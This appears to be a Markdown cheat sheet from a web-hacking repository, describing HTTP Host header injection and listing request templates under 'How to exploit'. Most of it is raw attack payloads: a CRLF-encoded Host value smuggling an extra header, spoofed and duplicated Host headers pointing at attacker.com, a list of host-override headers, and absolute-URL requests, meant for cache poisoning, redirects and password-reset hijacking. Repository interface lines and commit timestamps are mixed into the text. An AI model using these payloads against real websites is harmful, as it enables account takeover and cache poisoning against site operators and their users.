Web_Hacking/Host Header Injection.md

65 lines
1.7 KiB
Markdown
Raw Permalink Normal View History

2023-10-30 11:11:53 +03:00
# Host Header Injection
HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior.
### attacker can supply invalid input to cause the web server to:
* Dispatch requests to the first virtual host on the list.
* Perform a redirect to an attacker-controlled domain.
* Perform web cache poisoning.
* Manipulate password reset functionality.
* Allow access to virtual hosts that were not intended to be externally accessible.
## How to exploit
2024-09-30 10:16:08 +03:00
* Send a request with a malicious Host header value
```html
GET /index.html HTTP/1.1
Host: www.example.com%0d%0aX-Forwarded-For: 192.168.1.1
...
```
* Send a request with a spoofed Host header value
```html
GET /index.html HTTP/1.1
Host: www.example.com.attacker.com
...
```
* Change the Host header
2023-10-30 11:11:53 +03:00
```html
GET /example HTTP/1.1
Host: attacker.com
...
```
2024-09-30 10:16:08 +03:00
* Duplicating the Host header
2023-10-30 11:11:53 +03:00
```html
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attacker.com
...
```
* Add line wrapping
```html
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attacker.com
...
```
* Add host override headers
```html
X-Forwarded-For: attacker.com
X-Forwarded-Host: attacker.com
X-Client-IP: attacker.com
X-Remote-IP: attacker.com
X-Remote-Addr: attacker.com
X-Host: attacker.com
Forwarded: attacker.com
2024-09-30 10:16:08 +03:00
# How to use? In this case I using "X-Forwarded-For : attacker.com"
2023-10-30 11:11:53 +03:00
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For : attacker.com
...
# Supply an absolute URL
GET https://vulnerable-website.com/ HTTP/1.1
Host: attacker.com
...
```